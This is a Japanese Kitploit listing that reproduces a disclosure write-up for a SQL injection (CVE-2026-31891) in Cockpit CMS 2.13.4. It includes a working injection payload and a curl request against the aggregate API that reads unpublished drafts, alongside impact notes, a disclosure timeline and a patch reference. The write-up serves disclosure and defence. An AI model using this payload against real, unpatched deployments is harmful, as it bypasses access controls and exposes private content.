Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31891 — SQLインジェクション - MongoLite集約オプティマイザーのtoJsonExtractRaw()経由 | Kitploit
ツール/GitHubGitHub/ffasterss/cve-2026-31891
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストデータベースセキュリティ
GitHubffasterss/cve-2026-31891

CVE-2026-31891

SQLインジェクション - MongoLite集約オプティマイザーのtoJsonExtractRaw()経由

リポジトリを見る
65ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MongoLite集約オプティマイザーのtoJsonExtractRaw()におけるSQLインジェクション

  • 脆弱性クラス: SQLインジェクション (CWE-89)
  • 製品: Cockpit CMS (Core Edition)
  • 影響を受けるバージョン: 2.13.4、および集約オプティマイザーが導入されて以降の全バージョンの可能性が高い
  • テスト済みDockerイメージ: cockpithq/cockpit:core-2.13.4
  • ソースコミット: 7fe563023b7fae854c857d2e2dc0878ef28fbb5f (タグ 2.13.4)
  • GitHub: https://github.com/Cockpit-HQ/Cockpit
  • 発見日: 2026-02-28
  • CVSSスコア: 7.7 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. エグゼクティブサマリー

Cockpit CMS (Core Edition バージョン 2.13.4) にSQLインジェクションの脆弱性が確認されました。この脆弱性は MongoLite 集約オプティマイザー内、具体的には toJsonExtractRaw() メソッドに存在します。ユーザー制御のフィールド名が適切なサニタイズなしにSQLクエリに直接連結されます。

認証された攻撃者が、コンテンツモデルへの読み取りアクセス権(APIキー経由)を持つ場合、/api/content/aggregate/{model} RESTエンドポイントを介して集約パイプラインに任意のSQLコマンドを注入できます。

この欠陥により、攻撃者は以下が可能になります:

  • 意図された公開コンテンツフィルター(_state=1)をバイパスして、未公開の下書きを読み取る。
  • 同じSQLiteデータベース内の任意のコレクションから完全なドキュメント内容を抽出する。
  • sqlite_master を介して内部データベーススキーマを列挙する。

2. ステップバイステップのエクスプロイト再現

以下の手順は、攻撃者が _state=1 認可フィルターをバイパスする方法を示しています。

前提条件

  • Cockpit CMS 2.13.4 以下
  • コンテンツコレクションモデルへの少なくとも読み取りアクセス権を持つAPIキー

2.1: コンテンツモデルの設定

  1. 管理者としてCockpit CMS管理ダッシュボードにログインします。
  2. コンテンツ > モデル に移動し、testcol という名前の新しいモデルを作成します。
  3. モデルに2つのテキストフィールド title と body を追加します。

スクリーンショット: testcol コンテンツモデルの設定 Setting up the testcol content model

2.2: APIロールとキーの設定

  1. 設定 > ロール に移動します。
  2. MasterRole などのロールを作成または変更し、testcol モデルに対する READ 権限を持たせます。

スクリーンショット: コレクションのロール権限の設定 Configuring Role permissions for the collection

  1. 設定 > API & セキュリティ(APIキー)に移動します。
  2. 新しいAPIキーを追加し、設定した MasterRole を割り当てます。キー値をコピーします(例: API-b8e8...)。

スクリーンショット: 読み取りアクセス権ロールを使用したAPIキーの設定 Setting up the API Key with the read-access role

2.3: サンプルコンテンツの作成(秘密の下書きを含む)

  1. コンテンツ > testcol に移動します。
  2. Public というタイトルのアイテムを作成し、その状態を公開(緑のアイコン)に設定します。
  3. SECRET_DRAFT というタイトルの2つ目のアイテムを作成し、その状態を非公開(赤のアイコン)に設定します。

スクリーンショット: 公開アイテムと非公開アイテムの1つずつを表示するアイテムリスト The items list showing one published and one unpublished item

2.4: エクスプロイトの実行

デフォルトでは、標準のAPIクエリは状態が公開のコンテンツのみを返します。ただし、集約パイプラインにSQLを注入することで、公開コンテンツフィルターをバイパスできます。

  1. 以下のペイロードを構築します。このペイロードは json_extract() SQL関数から抜け出し、SQLコメント -- を追加して後続のSQLを無効化し、特に結果を公開アイテムに制限する WHERE 句を標的にします。

注入フィールド:

root@kitploit:~
$title') as _id FROM collections_testcol--

完全なパイプラインJSON:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. パイプラインJSONをURLエンコードし、ブラウザ(またはcurl)を介してGETリクエストを /api/content/aggregate/testcol エンドポイントに送信します。YOUR_API_KEY を手順2.2で生成したキーに置き換えてください:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5: エクスプロイトの検証

以下の最終スクリーンショットに示すように、APIレスポンスは明示的に非公開とマークされているにもかかわらず、SECRET_DRAFT アイテムを正常に返します。これにより、SQLインジェクションがアプリケーションのコア認可メカニズムをバイパスし、APIを介した不正なデータ抽出を可能にすることが確認されます。

スクリーンショット: 未公開の「SECRET_DRAFT」データの抽出成功 Successful extraction of the unpublished 'SECRET_DRAFT' data

3. 影響 — 結果

一般的なヘッドレスCMSデプロイメントでは、公開読み取り専用APIキーがフロントエンドのJavaScriptに埋め込まれたりハードコードされたりすることがよくあります。この脆弱性を公開APIエンドポイントを通じて悪用することで、攻撃者は以下が可能になります:

  • 公開コンテンツフィルターをバイパスして、未公開の下書き、アーカイブ済みアイテム、非表示コンテンツを読み取る。
  • 同じ content.sqlite データベース内のすべてのコンテンツコレクションを読み取る。APIキーが認可されていないコレクションも含みます。
  • sqlite_master を介してデータベーススキーマを列挙し、すべてのテーブル名と構造を発見する。

4. 開示のタイムライン

日付アクション
2026-02-28認可されたセキュリティ調査中に脆弱性を発見
2026-03-02ベンダーにレポートを提出
2026-03-02ベンダー修正 -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09パッチリリース v 2.13.5 -- https://getcockpit.com/releases

付録:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
ツールをダウンロード